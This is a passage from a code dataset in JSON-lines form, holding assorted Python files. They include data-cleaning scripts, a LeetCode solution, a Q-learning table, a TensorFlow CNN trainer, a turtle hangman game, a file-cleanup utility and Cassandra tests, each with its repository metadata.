'Director':\n\t\t\t\t\treturn crew_member['name']\n\t\t\treturn np.nan\n\n\t\traw['director'] = raw['crew'].apply(get_director)\n\t\traw['cast'] = raw['cast'].apply(UtilitiesDataTransforms.generate_list)\n\t\traw['current_time'] = self.current_time\n\t\traw['current_date'] = self.current_date\n\t\traw = raw.to_csv(self.clean_location, index=False)\n\t\tprint(\"INFO: saved to {0}\".format(self.clean_location))\n\t\treturn None\n\n\n\nif __name__ == '__main__':\n\tIMDBCreditsData = IMDBCreditsData(raw_location=\"../data/credits.csv\", clean_location=\"../data/credits_clean.csv\")\n\t# IMDBCreditsData.clean_raw()\n\tIMDBCreditsData.summarize(raw_or_clean='clean')\n\t\n\t\n\n\n\n\n\n","sub_path":"main/IMDBCreditsData.py","file_name":"IMDBCreditsData.py","file_ext":"py","file_size_in_byte":1316,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"157210416","text":"class Solution(object):\n def combinationSum2(self, candidates, target):\n \"\"\"\n :type candidates: List[int]\n :type target: int\n :rtype: List[List[int]]\n \"\"\"\n result = []\n self.helper(result, sorted(candidates), target, 0, [])\n return result\n \n def helper(self, result, candidates, target, start, tmp):\n if sum(tmp) == target:\n result.append(tmp[:])\n return\n if sum(tmp) > target:\n return\n \n for i in range(start, len(candidates)):\n if i>start and candidates[i] == candidates[i-1]:\n continue\n tmp.append(candidates[i])\n self.helper(result, candidates, target, i+1, tmp)\n tmp.pop()","sub_path":"Leetcode_250/Problem_40/my_solution.py","file_name":"my_solution.py","file_ext":"py","file_size_in_byte":762,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"578234372","text":"# purpose: delete TRs that you don't want for fsl first level and take only the noise EVs that you care about\n\nimport os\nimport glob\nfrom shutil import copyfile\nimport pandas as pd\nimport json\nimport numpy as np\n\nbids_dir = '/data/jux/cnds/amennen/rtAttenPenn/fmridata/Nifti'\nsave_dir = '/data/jux/cnds/amennen/rtAttenPenn/fmridata/Nifti/derivatives/fsl/first_level/confound_EVs'\nfmriprep_out=\"/data/jux/cnds/amennen/rtAttenPenn/fmridata/Nifti/derivatives/fmriprep\"\n\n# then create empty tsv files\n#all_subjects = np.array([2,101,102,103,104,105])\n#all_subjects = np.array([4,107])\n#all_subjects = np.array([1,2,3,4,5,6,7,8,9,10,11,101, 102,103,104,105,106, 107,108,109,110,111,112,113,114])\nall_subjects = np.array([110])\n# don't run on subject 1, day 1** accidentally deleted the TRs for the person so run with ntodelete=0 for days 1 ONLY**\n# to read in old file: OLD=pd.read_csv(full_save_path,sep='\\t')\nnsub=len(all_subjects)\nndays=3\nfor s in np.arange(nsub):\n subjectNum=all_subjects[s]\n for d in np.arange(ndays):\n subjectDay=d+1\n bids_id = 'sub-{0:03d}'.format(subjectNum)\n\n print(bids_id)\n ses_id = 'ses-{0:02d}'.format(subjectDay)\n print(ses_id)\n day_path=os.path.join(fmriprep_out,bids_id,ses_id)\n if subjectNum==110 and subjectDay==1:\n # change the day path manually\n day_path = os.path.join(fmriprep_out,bids_id,'ses-10')\n func_path = os.path.join(day_path,'func')\n all_func_tsv = glob.glob(os.path.join(func_path, '*_confounds.tsv'))\n n_func = len(all_func_tsv)\n\n for t in np.arange(n_func):\n # updated change 1/28: if resting/go no go don't do this because we're going to handle everything differently\n if 'task-gonogo_rec-uncorrected' in all_func_tsv[t]:\n print(all_func_tsv[t])\n # if not the faces task, then don't save the confounds\n if subjectNum == 1 and subjectDay == 1:\n nToDelete=0\n else:\n nToDelete = 10 # want to go from 242 --> 232 TRs\n z = pd.read_csv(all_func_tsv[t], sep='\\t')\n NAMETOSAVE = os.path.split(all_func_tsv[t])[-1]\n newDF = pd.DataFrame(data=z[nToDelete:], columns=['FramewiseDisplacement','X', 'Y', 'Z', 'RotX', 'RotY', 'RotZ'])\n #newDF = pd.DataFrame(data=z[nToDelete:], columns=['aCompCor00','aCompCor01', 'aCompCor02', 'aCompCor03', 'aCompCor04', 'aCompCor05','X', 'Y', 'Z', 'RotX', 'RotY', 'RotZ'])\n # delete 5 TRS for faces task and delete 10 TRs for gononogo task\n\n # make new directory for that subject/day\n dest_path = save_dir + '/' + bids_id + '/' + ses_id\n if not os.path.exists(dest_path):\n os.makedirs(dest_path)\n full_save_path = os.path.join(dest_path,NAMETOSAVE)\n print(full_save_path)\n newDF.to_csv(full_save_path,sep='\\t',index=False)\n # check that you didn't erase tsv files like an idiot\n NAMETOSAVE_1D = NAMETOSAVE.split('.')[0] + '.1D'\n full_save_path_1D = os.path.join(dest_path,NAMETOSAVE_1D)\n newDF.to_csv(full_save_path_1D,sep='\\t',index=False,header=False)\n\n print('ORIGINAL CONFOUND EV SHAPE')\n z = pd.read_csv(all_func_tsv[t], sep='\\t')\n print(np.shape(z))\n # check that you set EV files correctly\n print('NEW CONFOUND SHAPE')\n dest_path = save_dir + '/' + bids_id + '/' + ses_id\n NAMETOSAVE = os.path.split(all_func_tsv[t])[-1]\n full_save_path = os.path.join(dest_path,NAMETOSAVE)\n z = pd.read_csv(full_save_path, sep='\\t')\n print(np.shape(z))\n","sub_path":"create_fsl_confounds_NF.py","file_name":"create_fsl_confounds_NF.py","file_ext":"py","file_size_in_byte":4500,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"206042856","text":"import numpy as np\nimport pandas as pd\n\nclass QLearningTable:\n def __init__(self, actions, state, learning_rate=0.01, reward_decay=0.9, e_greedy=0.9, trace_decay = 0.9):\n self.actions = actions # a list\n self.lr = learning_rate # 学习率\n self.gamma = reward_decay # 奖励衰减\n self.epsilon = e_greedy # 贪婪度\n self.lambda_ = trace_decay\n\n index = pd.Series(list(range(-1, state['capacity']+1)))\n #self.q_table = pd.DataFrame(0, columns=self.actions, index=index, dtype=np.float64) # 初始 q_table\n self.q_table = pd.read_csv('q_table.csv')\n\n self.eligibility_trace = self.q_table.copy()\n\n def choose_action(self, observation):\n self.check_state_exist(observation) # 检测本 state 是否在 q_table 中存在\n\n # 选择 action\n if np.random.uniform() < self.epsilon: # 选择 Q value 最高的 action\n state_action = self.q_table.loc[observation, :]\n\n # 同一个 state, 可能会有多个相同的 Q action value, 所以我们乱序一下\n #np.random.shuffle(state_action)\n state_action = state_action.reindex(np.random.permutation(state_action.index))\n action = state_action.argmax()\n exploit_state = 1\n else: # 随机选择 action\n action = np.random.choice(self.actions)\n exploit_state = 0\n\n return action, exploit_state\n\n def learn(self, s, a, r, s_, exploit_state):\n self.check_state_exist(s_) # 检测 q_table 中是否存在 s_\n q_predict = self.q_table.loc[s, a]\n if s_ != 'terminal':\n q_target = r + self.gamma * self.q_table.loc[s_, :].max() # 下个 state 不是 终止符\n else:\n q_target = r # 下个 state 是终止符\n error = q_target - q_predict # 更新对应的 state-action 值\n\n self.eligibility_trace.loc[s, :] *= 0\n self.eligibility_trace.loc[s, a] = 1\n\n self.q_table += self.lr * error * self.eligibility_trace\n\n if exploit_state == 1:\n self.eligibility_trace.loc[s, a] = self.lambda_ * self.eligibility_trace.loc[s, a]\n else:\n self.eligibility_trace.loc[s, a] = 0\n\n def check_state_exist(self, state):\n if state not in self.q_table.index:\n # append new state to q table\n self.q_table = self.q_table.append(\n pd.Series(\n [0] * len(self.actions),\n index=self.q_table.columns,\n name=state,\n )\n )\n\n self.eligibility_trace = self.eligibility_trace.append(\n pd.Series(\n [0] * len(self.actions),\n index=self.q_table.columns,\n name=state,\n )\n )","sub_path":"RL_brain.py","file_name":"RL_brain.py","file_ext":"py","file_size_in_byte":2834,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"48199532","text":"#!/usr/bin/python3.5\n\n# Logical operators example\n\n\ndef lifeQ():\n\tos.system('clear')\n\tprint('Колко още Ви остава. xD')\n\tprint(' ')\n\tprint(' ')\n\ttime.sleep(3)\n\tanswer = int(input('На колко години сте? '))\n\tdef lifeCalc(answer):\n\t\tif answer * 2 <= 70 and answer > 0 or answer % 3 <= 22 and answer > 0:\n\t\t\tanswer = 'Имате още какво да видите и направите.'\n\t\t\treturn answer\n\t\telif answer == 0:\n\t\t\tanswer = 'Почти съм сигурен, че първо трябва да бъдете роден.'\n\t\t\treturn answer\n\t\telif answer < 0:\n\t\t\tanswer = 'Това се приема само ако сте вампир.'\n\t\t\treturn answer\n\t\telse:\n\t\t\tanswer = 'Срещнахме грешка! Моля опитайте пак.'\n\t\t\treturn answer\n\tos.system('clear')\n\tprint(lifeCalc(answer))\n\ttime.sleep(8)\n\tos.system('clear')\n\tmain_menu()\n","sub_path":"inc/logical-operators.py","file_name":"logical-operators.py","file_ext":"py","file_size_in_byte":890,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"606623588","text":"#coding:utf-8\nimport os\nimport sys\nimport platform\nimport datetime\nimport time\nimport numpy as np\n\ndef creation_date(filePath):\n \"\"\"\n Try to get the date that a file was created, falling back to when it was\n last modified if that isn't possible.\n \"\"\"\n if platform.system() == 'Windows':\n return os.path.getctime(filePath)\n else:\n stat = os.stat(filePath)\n return max(stat.st_mtime, max(stat.st_atime, stat.st_ctime))\n\ndef get_file_size(filename): ##kb\n fsize = os.path.getsize(filename)\n fsize = fsize / 1024.0\n return round(fsize, 2)\n\ndef make_dataset(dir, setSize=1024): ##default k-size >= 1 MB\n files = []\n dir = os.path.expanduser(dir)\n for target in sorted(os.listdir(dir)):\n d = os.path.join(dir, target)\n if not os.path.isdir(d):\n continue\n\n for root, _, fnames in sorted(os.walk(d, followlinks=True)):\n for fname in sorted(fnames):\n path = os.path.join(root, fname)\n fileSize = get_file_size(path)\n if fileSize >= setSize:\n files.append((path, fileSize))\n return files\n\ndef printf_top(dictMapKey, dictMap, info='size'):\n topN = min(10, len(dictMap))\n print('The top ' + str(topN) + ' files sorted with ' + info + ' are: ')\n #print(dictMapKey[:topN]) \n for tupleInfo in dictMapKey[:topN]:\n if info == 'size': \n print(str(tupleInfo[0]) + '\\t' + str(tupleInfo[1]) + ' (MB)')\n else:\n print(str(tupleInfo[0]) + '\\t' + str(tupleInfo[1]) + ' (day)')\n \ndef printf_info(files):\n sizeMap = {}\n daysMap = {}\n print('There are ' + str(len(files)) + ' found...') \n for fileP in files:\n sizeMap[fileP[0]] = float(fileP[1])\n daysMap[fileP[0]] = float(fileP[-1])\n \n sizeMapKey = sorted(sizeMap.items(), key=lambda x:x[1], reverse=True)\n daysMapKey = sorted(daysMap.items(), key=lambda x:x[1], reverse=True)\n \n printf_top(sizeMapKey, sizeMap, info='size')\n printf_top(daysMapKey, daysMap, info='days')\n \ndef read_dir(folderPath, setSize=1024, oldDays=10): ## file-size >= 1 MB, 10 days not used\n #today = datetime.date.today()\n #print(today)\n t = time.time()\n files = make_dataset(folderPath, setSize=setSize)\n if len(files) == 0:\n print(\"invalid files...\")\n return -1, None\n newFiles = []\n for fileP in files:\n mtime = creation_date(fileP[0])\n passTimeHour = (t - mtime) / 3600.0 / 24.0\n fileInfo = []\n fileInfo.extend(fileP)\n if passTimeHour >= oldDays:\n fileInfo.append(passTimeHour)\n newFiles.append(fileInfo)\n if len(newFiles) >= 1:\n printf_info(newFiles)\n return 0, newFiles\n\ndef clean_old_files(files):\n length = len(files)\n for index, fileP in enumerate(files):\n #os.remove(fileP)\n print(fileP[0] + ' (' + str(index + 1) + '/' + str(length) + ') ' + ' is deleted.')\n\nif __name__ == '__main__':\n defaultSize = 1024\n defaultOldDays = 10\n while True:\n try: \n folderName = raw_input(\"Please enter the name of your desired folder: ('q' for quit, 'a' for alter the default setting) \")\n except:\n folderName = input(\"Please enter the name of your desired folder: ('q' for quit, 'a' for alter the default setting) \")\n \n if folderName == 'q':\n print('Thanks for your using..')\n break\n elif folderName == 'a':\n while True:\n try:\n choice = raw_input(\"'s-number' for altering the file-size(MB), 't-number' for days not used (day), 'q' for quit: \")\n except:\n choice = input(\"'s-number' for altering the file-size(MB), 't-number' for days not used (day), 'q' for quit: \")\n if choice == 'q':\n break\n elif 's' in choice or 't' in choice:\n digit = choice.split('-')[-1]\n if digit.isdigit() == False:\n print('invalid inputs.')\n else:\n changeS = int(digit)\n if changeS < 0:\n print('invalid inputs.')\n if 's' in choice:\n print('Yes, altering the file-size.')\n defaultSize = changeS\n else:\n print('Yes, altering the days.')\n defaultOldDays = changeS\n else:\n print('invalid inputs.')\n print('filter file-size with ' + str(defaultSize) + '(MB) and the day filted with ' + str(defaultOldDays) + ' (day)')\n continue\n if os.path.exists(folderName) and os.path.isdir(folderName):\n print('Yes, the desired folder is exist.')\n returnCode, returnLists = read_dir(folderName, defaultSize, defaultOldDays)\n if returnCode == 0 and len(returnLists) >= 1:\n while True:\n try:\n choice = raw_input(\"Do you want to delete the files: ('q' for quit, 'y' for yes) \")\n except:\n choice = input(\"Do you want to delete the files: ('q' for quit, 'y' for yes) \")\n if choice == 'q':\n break\n elif choice == 'y':\n clean_old_files(returnLists)\n break\n else:\n print('invalid inputs.') \n else:\n print(\"Sorry, the desired folder does not exist.\") \n","sub_path":"HW3.py","file_name":"HW3.py","file_ext":"py","file_size_in_byte":5673,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"12158036","text":"import datetime\nimport logging\nimport os\nimport time\n\nfrom utilities.state import MetaFile\n\n\nclass Scraper:\n\n @staticmethod\n def is_streaming():\n return False\n\n def __init__(self, path, sleep_time=1):\n self.datetime_format = '%Y-%m-%d %H:%M:%S'\n\n # Setup the path\n self.path = path\n if not os.path.exists(self.path):\n os.makedirs(self.path)\n\n # Load the state\n self.metafile = MetaFile(os.path.join(self.path, 'meta.json'))\n self.metadata = {}\n self.load_state()\n\n # Determine the minimum scraping day\n self.min_date = self.get_state('min_date', None)\n if self.min_date is None:\n self.min_date = datetime.datetime.utcnow()\n self.set_state('min_date', self.min_date.strftime(self.datetime_format))\n else:\n self.min_date = datetime.datetime.strptime(self.min_date, self.datetime_format)\n\n self.max_date = self.get_state('max_date', None)\n if self.max_date is None:\n self.max_date = datetime.datetime.utcnow()\n self.set_state('max_date', self.max_date.strftime(self.datetime_format))\n else:\n self.max_date = datetime.datetime.strptime(self.max_date, self.datetime_format)\n\n self.sleep_time = sleep_time\n\n def get_state(self, key, default=None):\n return self.metadata.get(key, default)\n\n def set_state(self, key, value):\n logging.debug('Updating state value for \"{}\" to \"{}\"'.format(key, value))\n self.metadata[key] = value\n self.save_state()\n\n def load_state(self):\n logging.debug('Restoring state...')\n self.metadata = self.metafile.read()\n\n def save_state(self):\n logging.debug('Storing state...')\n self.metafile.write(self.metadata)\n\n def scrape(self):\n raise NotImplementedError()\n\n def __call__(self):\n self.scrape()\n if self.sleep_time > 0:\n time.sleep(self.sleep_time)\n","sub_path":"gather/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":1984,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"175668648","text":"#https://github.com/jonbruner/tensorflow-basics/blob/master/save-load/save.ipynb\n#in [1]\n# matplotlib inline\n\nimport matplotlib.pyplot as plt\nimport numpy as np\n\n#from tensorflow.examples.tutorials.mnist import input_data\n#mnist = input_data.read_data_sets('MNIST_data', one_hot=True)\ntrain_data = np.load('train_data_train_3.npy');\n\nimport tensorflow as tf\n\n#in [2]\nsess = tf.InteractiveSession()\n\ndef weight_variable(shape):\n initial = tf.truncated_normal(shape, stddev=0.1)\n return tf.Variable(initial)\n\ndef bias_variable(shape):\n initial = tf.constant(0.1, shape=shape)\n return tf.Variable(initial)\n\ndef conv2d(x, W):\n return tf.nn.conv2d(x, W, strides=[1, 1, 1, 1], padding='SAME')\n\ndef max_pool_2x2(x):\n return tf.nn.max_pool(x, ksize=[1, 2, 2, 1],\n strides=[1, 2, 2, 1], padding='SAME')\n \ndef max_pool_5x5(x):\n return tf.nn.max_pool(x, ksize=[1, 5, 5, 1],\n strides=[1, 5, 5, 1], padding='SAME')\n \ndef next_batch(num, data, labels):\n idx = np.arange(0 , len(data))\n np.random.shuffle(idx)\n idx = idx[:num]\n data_shuffle = [data[ i] for i in idx]\n labels_shuffle = [labels[ i] for i in idx]\n return np.asarray(data_shuffle), np.asarray(labels_shuffle)\n \nIMG_SIZE = 100\nLABEL_NUM = 4\n \nx = tf.placeholder(tf.float32, shape=[None, IMG_SIZE, IMG_SIZE,1 ], name=\"input\")\ny_ = tf.placeholder(tf.float32, shape=[None, LABEL_NUM])\n\nW = tf.Variable(tf.zeros([IMG_SIZE,IMG_SIZE,LABEL_NUM]))\nb = tf.Variable(tf.zeros([LABEL_NUM]))\n\nW_conv1 = weight_variable([5, 5, 1, 32])\nb_conv1 = bias_variable([32])\nx_image = tf.reshape(x, [-1,IMG_SIZE,IMG_SIZE,1])\nh_conv1 = tf.nn.relu(conv2d(x_image, W_conv1) + b_conv1)\nh_pool1 = max_pool_2x2(h_conv1)\n\nW_conv2 = weight_variable([5, 5, 32, 64])\nb_conv2 = bias_variable([64])\nh_conv2 = tf.nn.relu(conv2d(h_pool1, W_conv2) + b_conv2)\nh_pool2 = max_pool_2x2(h_conv2)\n\nW_conv3 = weight_variable([5, 5, 64, 16])\nb_conv3 = bias_variable([16])\nh_conv3 = tf.nn.relu(conv2d(h_pool1, W_conv2) + b_conv2)\nh_pool3 = max_pool_5x5(h_conv3)\n\n\nW_fc1 = weight_variable([5 * 5 * 16, 1024])\nb_fc1 = bias_variable([1024])\nh_pool3_flat = tf.reshape(h_pool3, [-1, 5*5*16])\nh_fc1 = tf.nn.relu(tf.matmul(h_pool3_flat, W_fc1) + b_fc1)\n\nkeep_prob = tf.placeholder(tf.float32, name=\"keep_prob\")\nh_fc1_drop = tf.nn.dropout(h_fc1, keep_prob)\n\nW_fc2 = weight_variable([1024, LABEL_NUM])\nb_fc2 = bias_variable([LABEL_NUM])\ny_conv = tf.nn.softmax(tf.matmul(h_fc1_drop, W_fc2) + b_fc2, name=\"output\")\n\nsess.run(tf.initialize_all_variables())\n\ncross_entropy = tf.reduce_mean(-tf.reduce_sum(y_ * tf.log(y_conv), reduction_indices=[1]))\ntrain_step = tf.train.AdamOptimizer(1e-4).minimize(cross_entropy)\ncorrect_prediction = tf.equal(tf.argmax(y_conv,1), tf.argmax(y_,1))\naccuracy = tf.reduce_mean(tf.cast(correct_prediction, tf.float32))\nsess.run(tf.initialize_all_variables())\n\n# To make this run faster, we'll only run 1,000 iterations of the training process.\ntrain = train_data[:-100]\nprint(\"train shape\", np.shape(train));\ntest = train_data[-100:]\nprint(\"test shape\", np.shape(test));\nX = np.array([i[0] for i in train]).reshape(-1,IMG_SIZE,IMG_SIZE,1)\nY = [i[1] for i in train]\n \ntest_x = np.array([i[0] for i in test]).reshape(-1,IMG_SIZE,IMG_SIZE,1)\ntest_y = [i[1] for i in test]\nfor i in range(100):\n #batch = mnist.train.next_batch(50) \n Xtr, Ytr = next_batch(100, X, Y)\n # if i%100 == 0:\n train_accuracy = accuracy.eval(feed_dict={x:Xtr, y_: Ytr, keep_prob: 1.0})\n print(\"step %d, training accuracy %g\"%(i, train_accuracy))\n train_step.run(feed_dict={x: Xtr, y_: Ytr, keep_prob: 0.5})\n\nprint(\"test accuracy %g\"%accuracy.eval(feed_dict={x: test_x, y_: test_y, keep_prob: 1.0}))\n\n\n#in[3]\nimage_a = test_x[3]\nplt.imshow(image_a.reshape([IMG_SIZE, IMG_SIZE]), cmap='Greys')\n\n#in[4]\nimage_a = image_a.reshape([1, IMG_SIZE, IMG_SIZE,1])\nresult = sess.run(y_conv, feed_dict={x:image_a, keep_prob:1})\nprint(result)\nprint(sess.run(tf.argmax(result, 1)))\n\n#in[5]\nsaver = tf.train.Saver()\nsave_path = saver.save(sess, \"./models/saved_fogsun_cnn.ckpt\")\nprint(\"Model saved to %s\" % save_path)\n","sub_path":"convnet_saver_training_mnist.py","file_name":"convnet_saver_training_mnist.py","file_ext":"py","file_size_in_byte":4080,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"81488632","text":"import turtle\nimport random #importa funçao que sorteia, escolhe aleatoriamente\nimport time\n\n\nlistalimpa=[] \narquivo = open(\"entrada.txt\",encoding=\"utf-8\")\nler = arquivo.readlines() #le as linhas do arquivo\n\nfor i in range(len(ler)):\n listalimpa.append(ler[i].strip().lower()) #transforma a escolhida em letra minuscula e separa as palavras\n print(listalimpa)\n s = random.choice(listalimpa) #s = palavra sorteada\n print(s)\n\nprint(ler)\n\n\"\"\"\nacentos= dict()\nacentos[\"a\"]==ã==á==à\n\"\"\"\n\n\nwindow1 = turtle.Screen()\n\nwindow1.bgcolor(\"blue\")\nwindow1.title(\"O JOGO DA FORCA\")\n\ntartaruga = turtle.Turtle()\ntartaruga2 = turtle.Turtle()\ntartaruga3 = turtle.Turtle()\n\ndef desenhaforca():\n tartaruga.setpos(0,0)\n tartaruga.back(200)\n tartaruga.left(90)\n tartaruga.fd(250)\n tartaruga.right(90)\n tartaruga.fd(125)\n tartaruga.right(90)\n tartaruga.fd(50)\n \ndesenhaforca()\n\ntamanho = len(s)\nfor i in range(len(s)):\n if s[i]==\" \":\n tartaruga2.penup()\n tartaruga2.setpos(-60+(i+1)*16,-150)\n tartaruga2.write(\" \",False, font=(\"Arial\", 20))\n else:\n tartaruga2.penup()\n tartaruga2.setpos(-30+(i+1)*16,-100)\n tartaruga2.write(\"_\",False,font=(\"Arial\",20))\n\n#aqui\nconta_as_letras = len(s)\ndigitadas=[]\nacertos=0\nlista= []\nlistaerros=[]\nx=0 #palavras chutadas erradas\nwhile True:\n \n escolha=window1.textinput(\"\\nDigite uma letra:\",\"\\nDigite uma litra:\").strip()\n digitadas.append(escolha)\n if escolha in digitadas:\n print(\"Voce ja escolheu essa letra!\")\n \n if escolha in s:\n p=s.find(escolha)\n print(\"Voce acertou!\")\n i=0\n \n if i == conta_as_letras and acertos != conta_as_letras:\n i = 0\n \n while i < conta_as_letras:\n for i in range(len(s)):\n if escolha ==s[i]:\n tartaruga2.penup()\n tartaruga2.setpos(-30+(i+1)*16, -97)\n tartaruga2.pendown()\n tartaruga2.write(escolha, font=(\"Arial\", 16))\n i+=1\n acertos=+1\n \n elif escolha == \" \":\n tartaruga2.penup()\n tartaruga2.setpos(-30,+16(i+1),-97)\n tartaruga.pendown()\n tartaruga.write(s[i],font=(\"Arial\",16))\n i +=1\n i = len(s)\n elif escolha in s:\n i+=1\n else:\n x+=1\n print(\"voce errou!\")\n i=len(s)\n\n\n\n\n if escolha not in s:\n x+=1\n listaerros.append(escolha)\n #listaerros.write(font=(\"Arial\",20))\n print(\"voce errou!\")\n \n def desenhacabeca():\n tartaruga.right(90)\n tartaruga.circle(25) \n \n if x == 1: #x = quantos erros\n desenhacabeca()\n \n def desenhatronco():\n tartaruga.up()\n tartaruga.left(90)\n tartaruga.fd(50)\n tartaruga.pendown()\n tartaruga.fd(75)\n \n if x == 2:\n desenhatronco()\n \n def desenhabraço1():\n \n tartaruga.back(50)\n tartaruga.left(60)\n tartaruga.fd(60)\n tartaruga.back(60)\n \n if x == 3: \n desenhabraço1()\n \n def desenhabraço2():\n tartaruga.right(120)\n tartaruga.fd(60)\n tartaruga.back(60)\n tartaruga.left(60)\n if x == 4:\n desenhabraço2()\n \n def desenhaperna1():\n tartaruga.fd(50)\n tartaruga.left(45)\n tartaruga.fd(40)\n tartaruga.back(40)\n tartaruga.right(45)\n \n if x == 5: \n desenhaperna1()\n \n def desenhaperna2():\n tartaruga.right(45)\n tartaruga.fd(40)\n \n if x == 6: \n desenhaperna2()\n tartaruga3.write(\"VOCE PERDEU!!\",True,font=(\"Arial\",16))\n time.sleep(3)\n tartaruga3.write(\"PARA JOGAR NOVAMENTE DIGITE SIM\",(-100,-200),True,font=(\"Arial\",16))\n #if escolha=(\"sim\"):\n #restart\n break\n \n if acertos == len(s):\n tartaruga3.penup()\n tartaruga3.setpos(100,110)\n tartaruga3.pendown()\n tartaruga3.write(\"VOCE VENCEU!!\", True, font=(\"Arial\",16))\n ","sub_path":"Forca3.py","file_name":"Forca3.py","file_ext":"py","file_size_in_byte":4447,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"327463286","text":"from unittest import TestCase\n\nfrom metric_api.cassandra.cassandraq import select_cql, execute_cql, execute_batch_insert\nfrom metric_api.utils.random_string_generator import path_generator\n\n\n__author__ = 'cenk'\n\n\nclass CassandraQTest(TestCase):\n def test_select_all(self):\n query = select_cql()\n res = execute_cql(query=query)\n self.assertEqual(10, res.__len__())\n\n def test_batch_insert(self):\n data = []\n i = 0\n while i < 100:\n path = path_generator()\n data.append([str(i), \"'\" + path + \"'\", '100', \"'test'\", '100', '10000'])\n i += 1\n execute_batch_insert(data)\n\n # def stress(self):\n # data = []\n # i = 0\n # while i < 1000000:\n # path = path_generator()\n # data.append([str(i), \"'\" + path + \"'\", '100', \"'test'\", '100', '10000'])\n # i += 1\n # execute_batch_insert(data)\n","sub_path":"metric_api/cassandra/tests/cassandraq_test.py","file_name":"cassandraq_test.py","file_ext":"py","file_size_in_byte":925,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"22299619","text":"# 1313. Decompress Run-Length Encoded List\r\n# https://leetcode.com/problems/decompress-run-length-encoded-list/\r\n\r\n#\r\n# We are given a list nums of integers representing a list compressed with run-length encoding.\r\n#\r\n# Consider each adjacent pair of elements [a, b] = [nums[2*i], nums[2*i+1]] (with i >= 0).\r\n# For each such pair, there are a elements with value b in the decompressed list.\r\n#\r\n# Return the decompressed list.\r\n#\r\n#\r\n#\r\n# Example 1:\r\n#\r\n# Input: nums = [1,2,3,4]\r\n# Output: [2,4,4,4]\r\n# Explanation: The first pair [1,2] means we have freq = 1 and val = 2 so we generate the array [2].\r\n# The second pair [3,4] means we have freq = 3 and val = 4 so we generate [4,4,4].\r\n# At the end the concatenation [2] + [4,4,4,4] is [2,4,4,4].\r\n\r\n\r\ndef decompressRLElist(nums):\r\n\r\n a = []\r\n\r\n for i in range(len(nums)):\r\n if i % 2 == 0:\r\n b = nums[i]\r\n while b>0:\r\n a.append(nums[i + 1])\r\n b -= 1\r\n return a\r\n\r\nprint(decompressRLElist([1,2,3,4]))\r\n","sub_path":"1313. Decompress Run-Length Encoded List.py","file_name":"1313. Decompress Run-Length Encoded List.py","file_ext":"py","file_size_in_byte":1022,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"255221890","text":"# -*- coding: utf-8 -*-\n\n\"\"\"\nApologies, this is completely hardwired right now... Will get it fixed soonish!\n\n\"\"\"\n\n__title__ = \"\"\n__author__ = \"[Manon Sabot]\"\n__version__ = \"1.0 (16.01.2019)\"\n__email__ = \"m.e.b.sabot@gmail.com\"\n\n\n#==============================================================================\n\nimport warnings # ignore these warnings\nwarnings.filterwarnings(\"ignore\", category=FutureWarning)\nwarnings.filterwarnings(\"ignore\", category=UserWarning)\nwarnings.filterwarnings(\"ignore\", category=RuntimeWarning)\n\n# general modules\nimport os\nimport sys\nimport numpy as np\nimport lmfit # non-linear model optimizer\n\n# own modules\nfrom TractLSM.Utils import get_main_dir # get the project's directory\nfrom models_2_fit import fres\n\n#==============================================================================\n\nclass NLMFIT(object):\n\n def __init__(self, method='powell', store=None, inf_gb=True):\n\n # fitting method\n self.method = method # which solver is used\n\n # MCMC-specific\n self.steps = 15000\n self.nchains = 4\n self.burn = 1000\n self.thin = 2\n\n if store is None: # default storing path for the outputs\n self.base_dir = get_main_dir() # working paths\n self.opath = os.path.join(os.path.join(self.base_dir, 'output'),\n 'calibrations')\n\n else: # user defined storing path for the outputs\n self.opath = store\n\n self.inf_gb = inf_gb # whether to calculate gb or not\n\n def get_P95(self, Px1, Px2, x1, x2):\n\n \"\"\"\n Finds the leaf water potential associated with a 95% decrease in\n hydraulic conductance, using the plant vulnerability curve.\n\n Arguments:\n ----------\n Px: float\n leaf water potential [MPa] at which x% decrease in hydraulic\n conductance is observed\n\n x: float\n percentage loss in hydraulic conductance\n\n Returns:\n --------\n P88: float\n leaf water potential [MPa] at which 88% decrease in hydraulic\n conductance is observed\n \"\"\"\n\n x1 /= 100. # normalise between 0-1\n x2 /= 100.\n\n # c is derived from both expressions of b\n try:\n c = np.log(np.log(1. - x1) / np.log(1. - x2)) / (np.log(Px1) -\n np.log(Px2))\n\n except ValueError:\n c = np.log(np.log(1. - x2) / np.log(1. - x1)) / (np.log(Px2) -\n np.log(Px1))\n\n b = Px1 / ((- np.log(1 - x1)) ** (1. / c))\n P95 = -b * ((- np.log(0.05)) ** (1. / c)) # MPa\n\n return P95\n\n def param_space(self, pname, P50=None, P88=None):\n\n if 'sref' in pname:\n\n return 0.01, 10.\n\n elif 'g1' in pname:\n\n return 0.01, 12.5\n\n elif 'kmax' in pname:\n\n return 0.005, 20.\n\n elif pname == 'ksc_prev':\n\n return 0.05 * 0.005, 0.95 * 20.\n\n elif 'krl' in pname:\n\n #return 0.01, 100.\n return 0.005, 20.\n\n elif (P50 is not None) and (P88 is not None) and (('Pref' in pname) or\n ('Pcrit' in pname)):\n\n return self.get_P95(P50, P88, 50, 88), -0.15\n\n elif (P88 is not None) and (('Pref' in pname) or ('Pcrit' in pname)):\n\n return -P88, -0.15\n\n elif (P88 is None) and (('Pref' in pname) or ('Pcrit' in pname)):\n\n return None, -0.15\n\n elif pname == 'Alpha':\n\n return 0.5, 80.\n\n elif pname == 'Beta':\n\n return 0.1, 8.\n\n elif pname == 'Lambda':\n\n return 0.01, 10.\n\n else:\n\n return 0.01, 50.\n\n def run(self, X, Y, 